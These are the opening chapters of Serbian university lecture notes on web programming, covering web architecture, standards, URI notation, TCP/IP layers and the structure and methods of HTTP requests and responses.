Programiranje za veb (skripta) - alas.matf.bg.ac.rsalas.matf.bg.ac.rs/~mi13050/pdf/PVEB skripta.pdf · Programiranje za veb (skripta) ... sredstva za izgradnju veba. Veb" i Internet"

Ajzenhamer NikolaBukurov AnjaStankovic Vojislav

Programiranje za veb (skripta)

16. decembar 2016.

Sadrzaj

1 Pojam i arhitektura veba 51.1 Pojam veba . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51.2 Arhitektura veba . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

1.2.1 Osnovni aspekti . . . . . . . . . . . . . . . . . . . . . . . . . 61.2.2 Osnovni pojmovi i tehnologije . . . . . . . . . . . . . . . . . 7

1.3 Standardizacija . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81.4 Gradivni elementi veba . . . . . . . . . . . . . . . . . . . . . . . . . 91.5 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

2 Komunikacioni protokoli 112.1 TCP/IP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112.2 HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

2.2.1 Ucesnici u komunikaciji . . . . . . . . . . . . . . . . . . . . . 122.2.2 Protokol bez stanja . . . . . . . . . . . . . . . . . . . . . . . 132.2.3 Struktura paketa . . . . . . . . . . . . . . . . . . . . . . . . 142.2.4 Struktura zahteva . . . . . . . . . . . . . . . . . . . . . . . . 142.2.5 Struktura odgovora . . . . . . . . . . . . . . . . . . . . . . . 142.2.6 HTTP metodi . . . . . . . . . . . . . . . . . . . . . . . . . . 152.2.7 Neki parametri zaglavlja . . . . . . . . . . . . . . . . . . . . 162.2.8 Statusni kodovi . . . . . . . . . . . . . . . . . . . . . . . . . 172.2.9 Kolacici . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182.2.10 HTTPS - bezbedni HTTP . . . . . . . . . . . . . . . . . . . 21

2.3 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

3 Veb 233.1 Veb server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23

3.1.1 Razresavanje adrese . . . . . . . . . . . . . . . . . . . . . . . 233.1.2 Obrada zahteva . . . . . . . . . . . . . . . . . . . . . . . . . 24

3.2 Veb pregledac . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 243.2.1 Slanje zahteva veb serverima . . . . . . . . . . . . . . . . . . 253.2.2 Prijem odgovora od veb servera . . . . . . . . . . . . . . . . 253.2.3 Prikazivanje sadrzaja . . . . . . . . . . . . . . . . . . . . . . 263.2.4 Trajni podaci na strani klijenta . . . . . . . . . . . . . . . . 26

3.3 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27

3

4 SADRZAJ

4 DOM - Document Object Model 294.1 Standardi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29

4.1.1 DOM Level 0 . . . . . . . . . . . . . . . . . . . . . . . . . . 294.1.2 DOM Level 1 (1998) . . . . . . . . . . . . . . . . . . . . . . 304.1.3 DOM Level 2 (2000) . . . . . . . . . . . . . . . . . . . . . . 304.1.4 DOM level 3 (2004) . . . . . . . . . . . . . . . . . . . . . . . 30

4.2 Osnova modela . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 314.2.1 Najvazniji cvorovi i njihovi potomci . . . . . . . . . . . . . . 314.2.2 Osnovni tipovi . . . . . . . . . . . . . . . . . . . . . . . . . 324.2.3 Interfejsi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

4.3 Osnovni elementi interfejsa Node . . . . . . . . . . . . . . . . . . . 334.4 Vazni metodi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

4.4.1 Citanje i parisranje XML dokumenata . . . . . . . . . . . . 364.5 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36

5 AJAX - Asynchronous JavaScript and XML 375.1 Slanje zahteva . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38

5.1.1 Dodatni parametri zahteva . . . . . . . . . . . . . . . . . . . 385.1.2 Dogadaji objekata zahteva . . . . . . . . . . . . . . . . . . . 39

5.2 Obrada odgovora . . . . . . . . . . . . . . . . . . . . . . . . . . . . 395.2.1 Parametri i metodi rezultata . . . . . . . . . . . . . . . . . . 39

5.3 Sinhrono ili asinhrono . . . . . . . . . . . . . . . . . . . . . . . . . 405.4 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42

6 Razvoj veb aplikacija 436.1 Problemi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43

6.1.1 Karakteristike problema iz ugla aplikacije . . . . . . . . . . . 436.1.2 Karakteristike problema iz ugla sesije . . . . . . . . . . . . . 446.1.3 Karakteristike problema iz ugla stranice . . . . . . . . . . . 446.1.4 Karakteristike problema iz ugla ucesnika u razvoju . . . . . 44

6.2 Nivoi slozenosti veb sadrzaja . . . . . . . . . . . . . . . . . . . . . . 456.3 Od zahteva do prikaza . . . . . . . . . . . . . . . . . . . . . . . . . 456.4 Nivoi konteksta veb aplikacije . . . . . . . . . . . . . . . . . . . . . 46

6.4.1 Deljenje podataka . . . . . . . . . . . . . . . . . . . . . . . . 466.5 Tehnologije razvoja serverske strane veb aplikacija . . . . . . . . . . 47

6.5.1 Programi za pravljenje dinamickog sadrzaja . . . . . . . . . 476.5.2 Pristupi pripremanju sadrzaja . . . . . . . . . . . . . . . . . 49

6.6 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52

7 Arhitektura veb aplikacija 557.1 Arhitektura klijent-server . . . . . . . . . . . . . . . . . . . . . . . . 55

7.1.1 Elementi arhitekture klijent-server . . . . . . . . . . . . . . . 557.1.2 Vrste arhitekture klijent-server . . . . . . . . . . . . . . . . . 567.1.3 Karakteristike arhitekture klijent-server . . . . . . . . . . . . 57

SADRZAJ 5

7.1.4 Slojevi aplikacije . . . . . . . . . . . . . . . . . . . . . . . . 577.2 Arhitektura prenosenja objekata . . . . . . . . . . . . . . . . . . . . 57

7.2.1 Elementi arhitekture prenosenja objekata . . . . . . . . . . . 587.2.2 Odnos sa arhitekturom klijent-server . . . . . . . . . . . . . 59

7.3 Arhitektura bogatih/teskih klijenata . . . . . . . . . . . . . . . . . 597.3.1 Elementi arhitekture bogatih/teskih klijenata . . . . . . . . 597.3.2 Odnos sa arhitekturom klijent-server . . . . . . . . . . . . . 597.3.3 Odnos sa arhitekturom prenosenja objekata . . . . . . . . . 60

7.4 Arhitektura jedne stranice . . . . . . . . . . . . . . . . . . . . . . . 617.5 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62

8 Razdvajanje odgovornosti 638.1 Princip razdvajanja interesovanja . . . . . . . . . . . . . . . . . . . 638.2 Princip jedinstvene odgovornosti . . . . . . . . . . . . . . . . . . . . 638.3 Razdvajanje sadrzaja od prezentacije . . . . . . . . . . . . . . . . . 64

8.3.1 Model-pogled-kontroler . . . . . . . . . . . . . . . . . . . . . 648.3.2 Prezentacija-apstrakcije-kontroler (PAK) . . . . . . . . . . . 678.3.3 Pristupi zasnovani na XML-u . . . . . . . . . . . . . . . . . 698.3.4 Razdvajanje akcija i prikaza . . . . . . . . . . . . . . . . . . 70

8.4 Veb 2.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 708.4.1 Preduslovi za Veb 2.0 . . . . . . . . . . . . . . . . . . . . . . 71

8.5 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71

9 Servisi 739.1 Arhitekture orijentisane prema servisima - SOA . . . . . . . . . . . 73

9.1.1 Uopstavanje komunikacije . . . . . . . . . . . . . . . . . . . 749.1.2 SOA i distribuirani objekti . . . . . . . . . . . . . . . . . . . 749.1.3 Istorijat arhitektura . . . . . . . . . . . . . . . . . . . . . . . 749.1.4 SOA iz razlicitih uglova . . . . . . . . . . . . . . . . . . . . 759.1.5 Servisi u kontekstu SOA . . . . . . . . . . . . . . . . . . . . 75

9.2 REST servisi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 779.2.1 Komponente arhitekture . . . . . . . . . . . . . . . . . . . . 789.2.2 ROA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 789.2.3 Slicnosti i razlike sa drugim servisima . . . . . . . . . . . . . 789.2.4 Neka dobra pravila . . . . . . . . . . . . . . . . . . . . . . . 799.2.5 Ceste greske . . . . . . . . . . . . . . . . . . . . . . . . . . . 80

9.3 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80

10 HTML 5 8310.1 Sintaksa i parsiranje . . . . . . . . . . . . . . . . . . . . . . . . . . 83

10.1.1 Semanticki strukturni elementi . . . . . . . . . . . . . . . . 8310.1.2 Sadrzaji koji se mogu menjati . . . . . . . . . . . . . . . . . 84

10.2 Query Selector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8410.3 Mikropodaci . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85

6 SADRZAJ

10.4 Deljenje resursa izmedu lokacija (CORS) . . . . . . . . . . . . . . . 8610.5 Web Workers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86

10.5.1 Web Storage . . . . . . . . . . . . . . . . . . . . . . . . . . . 8710.6 Scalable Vector Graphics (SVG) . . . . . . . . . . . . . . . . . . . 8810.7 Formulari . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8810.8 Prevlacenje sadrzaja . . . . . . . . . . . . . . . . . . . . . . . . . . 8910.9 Canvas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9010.10Animacije . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9010.11Video zapisi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9010.12Zaobljeni okviri . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9110.13Data URIs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9110.14Geografski polozaj . . . . . . . . . . . . . . . . . . . . . . . . . . . 9210.15...i jos mnogo toga . . . . . . . . . . . . . . . . . . . . . . . . . . . 9210.16Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92

11 Skalabilnost 9311.1 Nivo skalabilnosti . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9311.2 Merenje skalabilnosti . . . . . . . . . . . . . . . . . . . . . . . . . . 9411.3 Kategorije skalabilnosti . . . . . . . . . . . . . . . . . . . . . . . . . 95

11.3.1 Amdalov zakon . . . . . . . . . . . . . . . . . . . . . . . . . 9511.3.2 Super-serijski model . . . . . . . . . . . . . . . . . . . . . . 9611.3.3 Gustavsonov zakon . . . . . . . . . . . . . . . . . . . . . . . 97

11.4 Vrste skaliranja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9711.4.1 Skaliranje servera . . . . . . . . . . . . . . . . . . . . . . . . 9811.4.2 Skaliranje servisa . . . . . . . . . . . . . . . . . . . . . . . . 100

11.5 Skaliranje relacionih BP . . . . . . . . . . . . . . . . . . . . . . . . 10111.5.1 RBP i skaliranje citanja . . . . . . . . . . . . . . . . . . . . 10111.5.2 Kesiranje . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102

11.6 Skaliranje statickih sadrzaja . . . . . . . . . . . . . . . . . . . . . . 10211.6.1 Isporucivanje statickih sadrzaja . . . . . . . . . . . . . . . . 102

11.7 Skaliranje sistema datoteka . . . . . . . . . . . . . . . . . . . . . . . 10311.8 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104

12 Bezbednost veb aplikacija 10512.1 Osnovni predmeti ugrozavanja . . . . . . . . . . . . . . . . . . . . . 105

12.1.1 Drugi predmeti ugrozavanja . . . . . . . . . . . . . . . . . . 10512.2 Ciljevi bezbednosnih mera . . . . . . . . . . . . . . . . . . . . . . . 10612.3 Vrste napada . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107

12.3.1 Prekoracenje bafera (Buffer overflow) . . . . . . . . . . . . . 10712.3.2 Umetanje skriptova (Cross-Site Scripting) . . . . . . . . . . 10812.3.3 Prevara unakrsnim zahtevima (Cross-Site Request Forgery), 10812.3.4 Nasilno pregledanje (Forcefull Browsing) . . . . . . . . . . . 10912.3.5 Podmetanje parametara (Parameter Tampering) . . . . . . . 10912.3.6 Trovanje kolacica (Cookie Poisoning) . . . . . . . . . . . . . 110

SADRZAJ 7

12.3.7 Zloupotreba skrivenih polja (Hidden FieldManipulation) . . . . . . . . . . . . . . . . . . . . . . . . . . 110

12.3.8 Umetanje SQL upita (SQL Injection) . . . . . . . . . . . . . 11012.3.9 Onemogucavanje usluge (Denial of Service) . . . . . . . . . . 11112.3.10Nabrajanje . . . . . . . . . . . . . . . . . . . . . . . . . . . 11212.3.11Specificnosti u slucaju AJAX-a . . . . . . . . . . . . . . . . 112

12.4 10 opstih bezbednosnih pravila . . . . . . . . . . . . . . . . . . . . 11212.4.1 Osnovna pravila . . . . . . . . . . . . . . . . . . . . . . . . . 113

12.5 Prevare na strani korisnika . . . . . . . . . . . . . . . . . . . . . . . 11412.5.1 Podmetanje laznog pregledaca . . . . . . . . . . . . . . . . . 114

12.6 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114

13 Korisnicki interfejs 11713.1 Vizualni kornisnicki interfejs . . . . . . . . . . . . . . . . . . . . . . 117

13.1.1 Prednosti vizualnog korisnickog interfejsa . . . . . . . . . . . 11913.1.2 Slabosti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11913.1.3 Prinicpi oblikovanja G.K.I. . . . . . . . . . . . . . . . . . . . 12013.1.4 Uobicajeni problemi upotrebljivosti . . . . . . . . . . . . . . 12113.1.5 Elementi dobrog dizajna . . . . . . . . . . . . . . . . . . . . 12213.1.6 Testiranje interfejsa . . . . . . . . . . . . . . . . . . . . . . . 123

13.2 Dizajn korisnickog interfejsa . . . . . . . . . . . . . . . . . . . . . . 12413.2.1 Principi grafickog dizajna . . . . . . . . . . . . . . . . . . . 12513.2.2 Neka pravila grafickog dizajna . . . . . . . . . . . . . . . . . 126

13.3 Pitanja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127

Glava 1

Pojam i arhitektura veba

1.1 Pojam veba

Veb je mreza servera koja sadrzi programe i datoteke. Mnoge od tihdatoteka sadrze hipertekstualne veze do drugih dokumenata dostupnihkroz tu mrezu. (IBM Dictionary of Computing, 1999.)

Vecina definicija lici na ovu, mada je ona suvise uopstena, odnosno, siroka. Mnogemreze koje nisu veb mogu da se uklope u ovu definiciju. Dakle, nedostaje kon-kretizacija jer Veb je tacno jedan i sve drugo nije veb. Veoma je vazno uvek imatina umu da veb nije isto sto i internet. Internet ima ulogu gradivnog materijala isredstva za izgradnju veba.

Veb i Internet su izvorno vlastite imenice, ali su u tehnoloskom kontekstu po-stale zajednicke i pisu se malim slovom, osim kada se eksplicitno govori o Vebu iInternetu kao jedinstvenim mrezama.

1.2 Arhitektura veba

Osnovni elementi veba i svi osnovni pojmovi neraskidivo su povezani sa arhi-tekturom. Pojmovima se ne mozemo baviti bez bavljenja arhitekturom (server,klijent, pregledac, sesija, servis, zahtev, stranica, dokument, . . . ).

Glavni cilj veba je da bude deljeni informacioni prostor kroz koji cekomunicirati ljudi i masine. (Berners-Lee, 1996.)

Arhitektura veba je oblikovana tako da zadovolji postavljene zahteve. Da bismorazumeli arhitekturu, moramo razumeti zahteve. Ono sto karakterise veb jesuzahtevi koji su prepoznati na vreme. Postoje dva takva zahteva:

9

10 GLAVA 1. POJAM I ARHITEKTURA VEBA

Potrebno je da se omoguci ljudima da:

cuvaju svoje informacije (i trajno i privremeno) i da ih strukturirajutako da ih mogu ponovo koristiti i oni i drugi ljudi, odnosno, da semogu referisati

koriste, referisu i strukturiraju tude informacije bez potrebe da cuvajui odrzavaju njihove lokalne kopije, i

koriste sistem sirom sveta sa razlicitih univerziteta, iz istrazivackih sta-nica, i sa bilo kog racunara povezanog na internet.

Potrebno je da omoguci masinama da:

koriste informacije,

razmenjuju informacije, i

koriste razlicite vrste resursa i formata fajlova bez obzira na hardverskui softversku heterogenost.

1.2.1 Osnovni aspekti

Osnovni aspekti veba su:

Nizak ulazni prag. Da bi veb zaziveo kao sveobuhvatan svetski projekat,ucesce je moralo da bude na dobrovoljnoj i nefinansiranoj osnovi. Zato jepocetak bavljenja vebom morao da bude lak za ucenje, uz mali utrosak vre-mena, sa jednostavnim konfigurisanjem alata. To je moralo da vazi za svevrste korisnika citaoce, autora sadrzaja i razvijaoce aplikacija.

Prosirivost. Sistem ciji je cilj da postane globalni, mora da bude prosiriv.Jednostavnost proizvodi ogranicenja ako se sistem moze prosiriti, ogranicenjase mogu prevazici. Da bi sistem opstao, mora da podrzi sve buduce primene mogucnosti prosirivanja moraju biti takve da se prosirivanjem mogu podrzatii primene koje se ne mogu sagledati u pocetnom periodu razvoja.

Distribuirani hipermedij. Hipermedij je odreden kako predstavljenim sadrzajem,tako i aplikativnom kontrolnom logikom. Hipermedij (hipertekst) je izabrankao osnova veba pre svega zbog konceptualne jednostavnosti i velike prila-godljivosti. Distribuirani hipermedij dopusta da se predstavljeni sadrzaji ikontrolna logika nalaze na udaljenim lokacijama. Velicina sadrzaja mozeda uspori komunikaciju, te zato protokoli za prenos moraju biti prilagodeni,jednostavni, i uz minimalan broj poruka.

Razmere Interneta. Veb je planiran da ima razmere Interneta, odnosno, daima nepredvidivu (anarhicnu) skalabilnost (tesko je predvideti opterecenjesistema, pa arhitektura platforme koja isporucuje sadrzaje mora biti lako

1.2. ARHITEKTURA VEBA 11

prilagodljiva naglom i iznenadnom porastu potraznje) i nezavisno postavlja-nje delova sistema (pozeljno je da se delovi sistema mogu nezavisno pustatiu rad ili zamenjivati novijim verzijama).

Evolucija zahteva. Sa sazrevanjem veba, mogu se ocekivati nove mogucnostiprimene, koje nije moguce ostvariti prostim prosirivanjem. Arhitektura morabiti dovoljno fleksibilna da dopusti ne samo prosirivanje nego i menjanje, takoda se funkcionalnost postojecih sistema ne dovede u pitanje.

1.2.2 Osnovni pojmovi i tehnologije

Osnovne pojmove mozemo da grupisemo u: pojmove u vezi sa informacijamakoje se razmenjuju, pojmove u vezi sa hipermedijima (hipertekstom), i pojmove uvezi sa arhitekturom.

Osnovni pojmovi u vezi sa informacijama koje se razmenjuju su: resurs (ap-straktni cilj neke hipertekstualne reference), identifikator resursa (URI, ranijeURL), reprezentacija resursa (na primer, dokument HTML, slika JPEG, PNG,i dr.), metapodaci o reprezentaciji (na primer, tip medija, velicina datoteke, dimen-zije slike, i dr.), metapodaci o resursu (na primer, izvor, vreme poslednje izmene,alternativne reprezentacije, razne druge informacije), i kontrolni podaci (na pri-mer, trajnost, da li se sme kesirati, i dr.).

Osnovni pojmovi u vezi sa hipermedijima (hipertekstom) su: hipermedij (me-dij, tj. reprezentacija nekog resursa, ciji neki delovi predstavljaju veze sa drugimresursima; na vebu je najcesce hipertekst, pri cemu veze u hipertekstu predsta-vljaju delove teksta koji su povezani sa drugim resursima), i veza (izdvojen deohipermedija koji je povezan sa drugim resursom; svaka veza ima barem: telo veze,tj. deo hipermedija koji pripada vezi, i identifikator resursa, tj. identifikator kojijednoznacno identifikuje povezani resurs).

Osnovni pojmovi u vezi sa arhitekturom su: server (sistem, bilo hardver ilisoftver, koji isporucuje reprezentacije resursa na vebu), klijent (sistem, bilo har-dver ili softver, koji pristupa resursima i preuzima njihove reprezentacije), korisnik(covek koji koristi resurse na vebu), i pregledac (softver koji se izvrsava na klijentui omogucava korisniku da pristupa resursima i pregleda njihove reprezentacije).Komponente sistema su server i klijent. Na vebu je jasna razlika klijent je onajkoji koristi informacije, a server je onaj koji ih ispostavlja.

Veb pociva na vecem broju tehnologija. To su:

protokoli za prenos podataka HTTP (TCPIP, HTTPS, itd.),

formati za prenos podataka HTML (HTML4, XHTML, HTML5, XML),


formati za opisivanje vizuelne reprezentacije CSS (DOM), i

tehnologije za programiranje korisnickog interfejsa JavaScript (DOM, AJAX).

1.3 Standardizacija

Veb se odlikuje visokim stepenom standardizacije, odnosno, pociva na velikombroju standarda koji se uglavnom dobro postuju. Standardizacijom tehnologija nakojima pociva veb bavi se World Wide Web Consorcium W3C 1.

Standardi W3C se odnose na:

Dizajn i razvoj aplikacija, u koje spadaju: jezici za opisivanje sadrzaja iizgleda dokumenata (HTML, CSS), JavaScript Web API, graficki formati,audio i video formati, standardi za pristupacnost, internacionalizacija, mo-bilni veb, privatnost, matematicke formule, i dr.

Arhitekturu veba, u koje spadaju: principi, identifikatori (URI), protokoli(HTTP, XML, SOAP, itd.), i metaformati (XML, RDF, OWL, itd.).

Semanticki veb (odnosno, svaki sadrzaj koji je prikazan je semanticki opisan),u koje spadaju: povezivanje podataka (RDF, GRDDL, itd.), organizacijarecnika, ontologija i znanja, upitni jezici (SPAROL), zakljucavanje i pravilazakljucavanja, i primena.

XML tehnologije, u koje spadaju: osnovne tehnologije, sheme (XML Schema,SML, itd.), bezbednost, transformacije (XSLT, XPath, itd.), upitni jezici(XQuery), i komponente.

Servise na vebu, u koje spadaju: protokoli (HTTP, SOAP, WS, itd.), opisi-vanje servisa (WSDL, SML, itd.), i bezbednost (enkripcija, potpisi, autenti-fikacija, itd.).

Uredaje na vebu, u koje spadaju: mobilni uredaji, glasovno pregledanje (Voi-ceXML, Speech Interface Framework, itd.), nezavisnost uredaja i prilagodavanjesadrzaja, razlicitost ulaznih uredaja (tastature, dodir, pokreti, glas, itd.), iveb i televizija.

Pregledace i alate, u koje spadaju: pregledaci veba i uredaju za pustanjezapisa, i alati za pripremu i odrzavanje sadrzaja na vebu.

1http://www.w3.org/.

http://www.w3.org/

1.4. GRADIVNI ELEMENTI VEBA 13

1.4 Gradivni elementi veba

Gradivni elementi veba su: jezik za zapisivanje hiperteksta (HTML, CSS), no-tacija za identifikovanje resursa, i protokoli za prenos poruka preko mreze (HTTP,HTTPS, TCP/IP).

Notacija za identifikovanje resursa je oblika

scheme://host[:port#]/path/.../[;url-params][?query-string][#anchor]

pri cemu je:

scheme oznaka protokola. Na vebu je http ili https,

host ime servera ili njegov IP broj,

port# opcioni broj komunikacionog TCP/IP porta,

path logicka putanja do resursa (nalik na apstraktan sistem fajlova),

url-params opcioni parametri (vecina servera danas to ne podrzava),

query-string opcioni parametri koji se koriste za upravljanje dinamickimsadrzajima, i

anchor unutrasnja referenca, unutar navedenog resursa/dokumenta.

1.5 Pitanja

1.1 Sta je Veb?

1.2 Koji su osnovni ciljevi Veba?

1.3 Koje zahteve je Veb morao da ispuni?

1.4 Koji aspekti su presudno uticali na arhitekturu Veba?

1.5 Objasniti nizak ulazni prag kao aspekt pri projektovanju arhitekture Veba.

1.6 Objasniti prosirivost kao aspekt pri projektovanju arhitekture Veba.

1.7 Objasniti distribuirani hipermedij kao aspekt pri projektovanju arhitektureVeba.

1.8 Objasniti razmere Interneta kao aspekt pri projektovanju arhitekture Veba.

1.9 Objasniti evoluciju zahteva kao aspekt pri projektovanju arhitekture Veba.

1.10 Koji su osnovni pojmovi Veba, u odnosu na informacije koje se razmenjuju?


1.11 Koji su osnovni pojmovi Veba, u odnosu na oblik predstavljanja informacija?

1.12 Koji su osnovni pojmovi Veba, u odnosu na arhitekturu Veba?

1.13 Na kojim tehnologijama pociva Veb?

1.14 Ko i kako standardizuje Veb?

1.15 Koji standardi se odnose na arhitekturu Veba?

1.16 Koji standardi se odnose na sadrzaje Veba?

1.17 Sta su gradivni elementi Veba?

1.18 Objasniti detaljno nacin identifikovanja resursa na Vebu.

Glava 2

Komunikacioni protokoli

2.1 TCP/IP

Podrazumeva se arhitektura klijent-server. Server pruza usluge - ceka da pri-stigne novi zahtev i obraduje primljeni zahtev. Klijent koristi usloge - salje zahteveserveru.

1. Mrezni sloj - odgovoran za najnizi nivo prenosa, fizicka mreza

2. Internet sloj

obezbeduje mehanizme komunikacije medu udaljenim sistemima rutiranje poruka, pouzdanost, zaglavlja to je nivo protokola IP (internet protokola)

3. Transportni sloj

obezbeduje prenos poruka izmedu aplikacija koje rade na udaljenimsistemima

to je nivo protokola TCP i UDP

4. Aplikativni sloj

najvisi sloj odreduje znacenje, tumacenje i razumevanje poruka ovde je posebno vazan protokol HTTP

15

16 GLAVA 2. KOMUNIKACIONI PROTOKOLI

OSI nivo TCP/IP nivo Jedinica prenosa Protokol

7 - Aplikativni

4 - Aplikativni

Podaci HTTP, HTTPS, FTP,IMAP, SMTP, . . .

6 - Prezentacioni Podaci

5 - Nivo sesije Podaci

4 - Transportni 3 - Transportni Segmenti TCP, UDP, SSL, . . .

3 - Mrezni 2 - Internet Paketi IP, ICMP (Ping), . . .

2 - Nivo podataka1 - Mrezni

Okviri

1 - Fizicki Bitovi

Tabela 2.1: TCP/IP i OSI model

2.2 HTTP

Predstavlja aplikativni sloj TCP/IP-a (port 80). Takode, HTTP protokol jeosnova veba. Veoma je jednostavan. S jedne strane to je slabost - nema stanja. Sdruge strane, to je snaga - lako se implementira, brzo i siroko prihvatanje.Paradigma zahtev/odgovor - Klijent salje zahtev, server ga prima, obraduje isalje odgovor.Jednostavna struktura paketa - I zahtev i odgovor imaju tekstualno zaglavlje,odvojeno praznim redom od tela paketa.Protokol bez stanja - Svaki par zahtev/odgovor predstavlja nezavisnu transak-ciju.

2.2.1 Ucesnici u komunikaciji

Server - program koji prima i obraduje zahteve

Pregledac - program koji salje zahteve i prikazuje primljene odgovore

Proksi

program koji se ponasa kao server i kao klijent

salje zahtev u ime drugih klijenata

prosleduje im odgovore u ime drugih servera

2.2. HTTP 17

Slika 2.1: Paradigma zahtev/odgovor.

2.2.2 Protokol bez stanja

Kada protokol ima stanje sekvenca parova zahtev/odgovor moze da predstavljaslozenu transakciju (sesija). Neki od protokola koji imaju stanja i sesije su: FTP,POP, SMTP.

Kada protokol nema stanje svi parovi zahtev/odgovor su medusobno razdvojeni.Sesije su atomicne - sastoje se od samo po jednog para zahtev/odgovor.

Nepostojanje stanja je jedna od kljucnih osobina HTTP-a. Cini ga jednostavnimza implementaciju, doprinosi visokoj efikasnosti, ali zahvaljujuci tome ne postojielementarni nacin da se vise zahteva predstavi kao deo vece celine. HTTP 1,1 jeuveo produzene veze, koje se ne raskidaju posle jednog zahteva, vec se visestrukokoriste. Osnovna namena je podizanje efikasnosti i nije predvideno za implemen-tiranje sesija.

Za mnoge nacine komunikacije, neophodno je da postoji neki oblik stanja ko-munikacije (sesije). Stanje komunikacije na vebu se prati na vise razlicitih nacina.Problemu su u odredenoj suprotnosti sa osnovama protokola, bezbednosti i pri-vatnosti.


2.2.3 Struktura paketa

Zaglavlje paketa se sastoji od jednog ili vise redova teksta:

prvi red je obavezan i sadrzi identifikaciju zahtevanog resursa ili izvestaj oisporucenom paketu (primer: GET / smalkov/index.html HTTP/1.1)

ostali redovi su opcioni i sadrze razlicite parametre (primer: Host: www.matf.bg.ac.rs)

Zaglavlje se od tela paketa razdvaja praznim redom. Telo paketa moze da budeproizvoljan binarni sadrzaj. Telo moze da bude prazno, a ako nije prazno, zaglavljemora da sadrzi podatke o duzini (u bajtovima) i formatu zapisa, npr:

Content-Type: text/htmlContent-Length: 7735

Format tela se navodi kao MIME tip.

2.2.4 Struktura zahteva

Zaglavlje zahteva pocinje identifikacijom resursa i verzije protokola, oblika:

/ HTTP/}

Primer: GET / smalkov/index.html HTTP/1.1

Ostali redovi su opcioni. HTTP 1.1 zahteva da se obavezno navodi identifika-cija servera. Primer: Host: www.matf.bg.ac.rs

Identifikacija resursa ima oblik:

/ HTTP/

METHOD je nazov metoda tj. operacije. Moze biti: GET, POST, HEAD,PUT, DELETE, TRACE i OPTIONS. Po HTTP 1.1 server je obavezanda implementira GET i HEAD. Vecina savremenih servera implementira iPOST, PUT i DELETE.

path-to-resource je apstraktna logicka putanja do resursa

version-number je verzija protokola, uobicajeno 1.1

2.2.5 Struktura odgovora

Zaglavlje odgovora pocinje izvestajem o isporucenom odgovoru, oblika:

HTTP/

2.2. HTTP 19

Primer: HTTP/1.1 200 OKKodovi statusa imaju standardizovana znacenja.

Ostali redovi su opcioni. Obicno se navode podaci o telu (obavezno ako je ne-prazno). Primer:

Content-Type: text/htmlContent-Length: 17345

2.2.6 HTTP metodi

GETNajjednostavniji metod, sluzi za citanje sadrzaja. Zahtev metoda GET nematelo, a eventualni parametri su zapisani u okviru putanje.Primer: GET /trazenje?upit=fudbal HTTP/1.1

POSTNapredniji metod, ima dvojaku funkciju - podnosenje (novog) sadrzaja (pre-nosti se kao telo zahteva) i citanje sadrzaja (slicno kao u slucaju metodaGET). Parametri se mogu prenositi i u okviru URI-ja i u okviru tela. Pri-mer:POST /trazenje?kat=sport HTTP/1.1Host: www.myserver.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0)Content-Type: application/x-www-form-urlencodedContent-Length: 11upit=fudbal

HEADIma slicnu formu kao GET. Ne isporucuje odgovor u telu, vec samo zagla-vlje. Moze da se upotrebljava za proveravanje da li resurs postoji i kada jeposlednji put izmenjen.

PUTSadrzaj (telo) zahteva se trajno zapisuje. U osnovi je namenjen za azuriranjesadrzaja. Metod nije obavezno podrzan. Format sadrzaja i nacin zapisivanjanisu odredeni standardom HTTP-a, obicno se odreduju na osnovu URI-ja(putanja, upit) i/ili dodatnih parametara zaglavlja. Ako nije podrzan metodPUT, i azuriranja sadrzaja se obicno radi pomocu metoda POST.

DELETESadrzaj zahteva se trajno brise. Metod nije obavezno podrzan. Obicno seradi o brisanju sadrzaja koji su dodati metodom POST. Nacin identifikovanjasadrzaja nije odreden standardom HTTP-a, obicno se odreduju na osnovuURI-ja (putanja, upit) i/ili dodatnih parametara zaglavlja.


